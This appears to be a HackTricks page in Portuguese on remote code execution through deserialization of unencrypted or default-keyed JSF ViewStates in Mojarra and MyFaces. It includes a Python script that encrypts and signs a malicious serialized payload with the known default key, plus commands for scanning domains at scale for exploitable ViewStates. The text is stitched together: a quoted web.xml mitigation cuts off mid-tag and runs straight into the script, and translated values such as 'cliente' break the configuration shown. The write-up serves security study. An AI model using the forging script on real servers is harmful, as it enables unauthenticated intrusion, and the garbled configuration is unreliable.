16 KiB
Introdução
Depois de analisarmos RCEs através de bibliotecas JSON mal configuradas, começamos a analisar os ViewStates das implementações JSF. JavaServer Faces (JSF) é uma tecnologia de interface do usuário (UI) para construir UIs da web com componentes reutilizáveis. JSF é usado principalmente para aplicativos empresariais e uma implementação JSF é tipicamente usada por um aplicativo da web que é executado em um servidor de aplicativos Java como JBoss EAP ou WebLogic Server. Existem duas implementações bem conhecidas da especificação JSF:
- Oracle Mojarra (implementação de referência JSF)
- Apache MyFaces
Escopo
Esta postagem no blog se concentra nas duas implementações JSF 2.x: Oracle Mojarra (Implementação de Referência) e Apache MyFaces. Implementações mais antigas (JSF 1.x) também provavelmente são afetadas pelas vulnerabilidades descritas nesta postagem. (JSF 2.0.x foi lançado inicialmente em 2009, a versão atual é 2.3.x).
O estado do ViewState
Uma diferença entre JSF e tecnologias web semelhantes é que JSF usa ViewStates (além de sessões) para armazenar o estado atual da visualização (por exemplo, quais partes da visualização devem ser exibidas atualmente). O ViewState pode ser armazenado no servidor
ou no cliente
. Os ViewStates do JSF são normalmente automaticamente incorporados em formulários HTML como um campo oculto com o nome javax.faces.ViewState
. Eles são enviados de volta para o servidor se o formulário for enviado.
ViewState no lado do servidor
Se o ViewState do JSF estiver configurado para ficar no servidor
, o campo oculto javax.faces.ViewState
contém um ID que ajuda o servidor a recuperar o estado correto. No caso do MyFaces, esse ID é um objeto Java serializado!
ViewState no lado do cliente
Se o ViewState do JSF estiver configurado para ficar no cliente
, o campo oculto javax.faces.ViewState
contém um objeto Java serializado que é pelo menos codificado em Base64. Você pode ter percebido até agora que esta é uma estrada potencial para o desastre! Esse pode ser um dos motivos pelos quais os ViewStates do JSF são criptografados e assinados antes de serem enviados para o cliente. Os perigos de objetos Java serializados
Em 2015, na conferência AppSec California, Gabriel Lawrence e Chris Frohoff realizaram uma apresentação com o título Marshalling Pickles (how deserializing objects can ruin your day). Esta apresentação lançou alguma luz sobre problemas esquecidos com a serialização de objetos Java e levou à descoberta de várias vulnerabilidades graves de execução remota de código (RCE).
Infelizmente, levou algumas pessoas a acreditar que a vulnerabilidade poderia ser mitigada removendo/atualizando certas versões do Apache Commons Collections. Uma ação que pode realmente ajudar, mas não resolve a causa raiz do problema: Desserialização de Dados Não Confiáveis (CWE 502). Em outras palavras:
O uso de uma versão do Apache Commons Collections 'vulnerável' não significa que o aplicativo é vulnerável, nem a ausência de tal versão de biblioteca significa que o aplicativo não é vulnerável.
No entanto, depois que um hacker malicioso desligou e criptografou os sistemas da San Francisco Municipal Transportation Agency via "Mad Gadget"/"Apache Commons Collections Deserialization Vulnerability", o Google iniciou a Operação Rosehub. O objetivo da operação Rosehub era encontrar o maior número possível de projetos de código aberto Java que usavam uma versão de coleções comuns 'amigável ao atacante' como dependência e enviar solicitações pull aos proprietários do projeto para que esses projetos parassem de usar versões problemáticas de coleções comuns em novas versões.
O ataque ao ViewState
Vamos supor que temos um aplicativo da web com uma página de login baseada em JSF:
Essa página de login tem um ViewState que não é criptografado nem assinado. Então, quando olhamos para sua fonte HTML, vemos um campo oculto contendo o ViewState: ViewState MyFaces não criptografado:
<input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />
Se você decodificar o ViewState acima usando Base64, você notará que ele contém um objeto Java serializado. Este ViewState é enviado de volta para o servidor via POST quando o formulário é enviado (por exemplo, clique em Login). Agora, antes que o ViewState seja enviado de volta para o servidor, o invasor substitui o ViewState por seu próprio ViewState malicioso usando um gadget que já está no classpath do servidor (por exemplo, InvokerTransformer
de commons-collections-3.2.1.jar) ou até mesmo um gadget que ainda não é conhecido pelo público. Com o gadget malicioso colocado no ViewState, o invasor especifica quais comandos deseja executar no servidor. A flexibilidade do que um invasor pode fazer é limitada pelos poderes dos gadgets disponíveis no classpath do servidor. No caso do InvokerTransformer
, o invasor pode especificar quais comandos de linha de comando devem ser executados no servidor. O invasor em nosso exemplo escolheu iniciar uma calculadora na interface do nosso servidor baseado em Linux.
Depois que o invasor enviou seu formulário modificado de volta para o servidor, a implementação JSF tenta desserializar o ViewState fornecido. Agora, mesmo antes que a desserialização do ViewState tenha terminado, o comando é executado e a calculadora é iniciada no servidor:
Tudo aconteceu antes que a implementação JSF pudesse dar uma olhada no ViewState e decidir que não era bom. Quando o ViewState foi considerado inválido, geralmente um erro é enviado de volta ao cliente como "Expiração da visualização". Mas então já é tarde demais. O invasor teve acesso ao servidor e executou comandos. (A maioria dos invasores do mundo real não inicia uma calculadora, mas geralmente implantam um shell remoto, que eles usam para acessar o servidor.)
=> Tudo isso demonstra uma vulnerabilidade muito perigosa de execução remota de código (RCE) não autenticada.
(Quase o mesmo cenário de ataque contra JSF como descrito acima já foi delineado e demonstrado na apresentação de 2015 (páginas 65 a 67): Marshalling Pickles realizada por Frohoff e Lawrence.)
As precondições para um ataque bem-sucedido
Agora, quais são os ingredientes para um desastre?
- ViewState não criptografado (ou posse da chave de criptografia)
- Gadget no classpath do servidor
- No caso do Mojarra: ViewState configurado para residir no
cliente
- No caso do MyFaces: ViewState configurado para residir no
cliente
ou noservidor
Vamos dar uma olhada nesses pontos em relação às duas implementações JSF.
Oracle Mojarra (implementação de referência JSF)
Como dito antes, o Oracle Mojarra é a Implementação de Referência (RI) do JSF, mas pode não ser conhecido por esse nome. Pode ser conhecido como Sun JSF RI, reconhecido com o nome do pacote java com.sun.faces
ou com o nome ambíguo do jar jsf-impl.jar
.
Mojarra: ViewState não criptografado
Então aqui está a coisa: o Mojarra não criptografou e assinou o ViewState do lado do cliente por padrão na maioria das versões de 2.0.x e 2.1.x. É importante observar que um ViewState do lado do servidor é o padrão em ambas as implementações JSF, mas um desenvolvedor poderia facilmente mudar a configuração para usar um ViewState do lado do cliente definindo o parâmetro javax.faces.STATE_SAVING_METHOD
como cliente
. O nome do parâmetro não revela de forma alguma que mudá-lo para cliente introduz vulnerabilidades graves de execução remota de código (por exemplo, um ViewState do lado do cliente pode ser usado em aplicativos da web em cluster).
Embora a criptografia do ViewState do lado do cliente seja o padrão no Mojarra 2.2 e em versões posteriores, não era para os ramos 2.0.x e 2.1.x. No entanto, em maio de 2016, os desenvolvedores do Mojarra começaram a retroportar a criptografia padrão do ViewState do lado do cliente para 2.0.x e 2.1.x quando perceberam que ViewStates não criptografados levam a vulnerabilidades de RCE.
Portanto, pelo menos a versão 2.1.29-08 (lançada em julho de 2016) do ramo 2.1.x e a versão 2.0.11-04 (também lançada em julho de 2016) do ramo 2.0.x têm a criptografia habilitada por padrão.
Quando analisamos as bibliotecas do Mojarra, notamos que a Red Hat também lança versões do Mojarra para os ramos 2.1.x e 2.0.x, sendo a mais recente 2.1.29-jbossorg-1 e 2.0.4-b09-jbossorg-4. Como ambos os lançamentos estavam sem criptografia padrão do ViewState, entramos em contato com a Red Hat e eles prontamente criaram o Bug 1479661 - JSF client side view state saving deserializes data em seu bugtracker com o seguinte conselho de mitigação para o ramo 2.1.x:
Uma aplicação web vulnerável precisa ter definido javax.faces.STATE_SAVING_METHOD como 'cliente' para habilitar o salvamento de ViewState do lado do cliente. O valor padrão no Enterprise Application Platform (EAP) 6.4.x é 'servidor'.
Se javax.faces.STATE_SAVING_METHOD estiver definido como 'cliente', uma mitigação para esse problema é criptografar a visualização definindo com.sun.faces.ClientStateSavingPassword no web.xml da aplicação:<context-param> <param-name>javax.faces.STATE_SAVING_METHOD</param-name> <param-value>cliente</param-value> </context-param> <env-entry> <env-entry-name>com.sun.faces.ClientStateSavingPassword</env-entry-name> <env-entry-type>java.lang.String</env-entry
#!/usr/bin/python3
import sys
import hmac
from urllib import parse
from base64 import b64encode
from hashlib import sha1
from pyDes import *
YELLOW = "\033[93m"
GREEN = "\033[32m"
def encrypt(payload,key):
cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
enc_payload = cipher.encrypt(payload)
return enc_payload
def hmac_sig(enc_payload,key):
hmac_sig = hmac.new(key, enc_payload, sha1)
hmac_sig = hmac_sig.digest()
return hmac_sig
key = b'JsF9876-'
if len(sys.argv) != 3 :
print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0]))
else:
with open(sys.argv[1], "rb") as f:
payload = f.read()
f.close()
print(YELLOW + "[+] Encrypting payload")
print(YELLOW + " [!] Key : JsF9876-\n")
enc_payload = encrypt(payload,key)
print(YELLOW + "[+] Creating HMAC signature")
hmac_sig = hmac_sig(enc_payload,key)
print(YELLOW + "[+] Appending signature to the encrypted payload\n")
payload = b64encode(enc_payload + hmac_sig)
payload = parse.quote_plus(payload)
print(YELLOW + "[*] Final payload : {}\n".format(payload))
with open(sys.argv[2], "w") as f:
f.write(payload)
f.close()
print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))
Detecção de Chave Conhecida com Badsecrets
é uma biblioteca capaz de detectar o uso de chaves criptográficas conhecidas, olhando para os produtos que elas produzem e verificando em uma lista de chaves conhecidas ou fracas. Seu módulo Jsf_viewstate
é capaz de detectar Java Server Faces ViewStates criados com chaves conhecidas em ambos Mojarra e MyFaces, além de ViewStates desprotegidos ou comprimidos.
A maneira mais rápida de usá-lo é com a ferramenta de exemplo cli.py
, da seguinte forma:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/cli.py Ly8gp+FZKt9XsaxT5gZu41DDxO74k029z88gNBOru2jXW0g1Og+RUPdf2d8hGNTiofkD1VvmQTZAfeV+5qijOoD+SPzw6K72Y1H0sxfx5mFcfFtmqX7iN6Gq0fwLM+9PKQz88f+e7KImJqG1cz5KYhcrgT87c5Ayl03wEHvWwktTq9TcBJc4f1VnNHXVZgALGqQuETU8hYwZ1VilDmQ7J4pZbv+pvPUvzk+/e2oNeybso6TXqUrbT2Mz3k7yfe92q3pRjdxRlGxmkO9bPqNOtETlLPE5dDiZYo1U9gr8BBQ=
Se encontrar uma correspondência, também listará a plataforma (Mojarra ou MyFaces), o algoritmo de criptografia em uso e se a compressão foi usada ou não, que são todos essenciais para a exploração.
Para procurar por viewstates vulneráveis em escala, em conjunto com a enumeração de subdomínios, o módulo badsecrets
BBOT pode ser usado:
bbot -f subdomain-enum -m badsecrets -t evil.corp
Considerações finais
A maioria dos fatos sobre JSF ViewStates e seus perigos apresentados neste post não são exatamente novos, mas parece que nunca foram apresentados de forma tão condensada. Isso mostrou mais uma vez que mudanças de configuração aparentemente inofensivas podem levar a vulnerabilidades graves.
=> Um dos problemas parece ser a falta de transferência de conhecimento entre pesquisadores de segurança e desenvolvedores que realmente usam e configuram bibliotecas que podem ser perigosas quando configuradas de certas maneiras.
Referências
- https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html
- https://0xrick.github.io/hack-the-box/arkham/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de cibersegurança? Quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.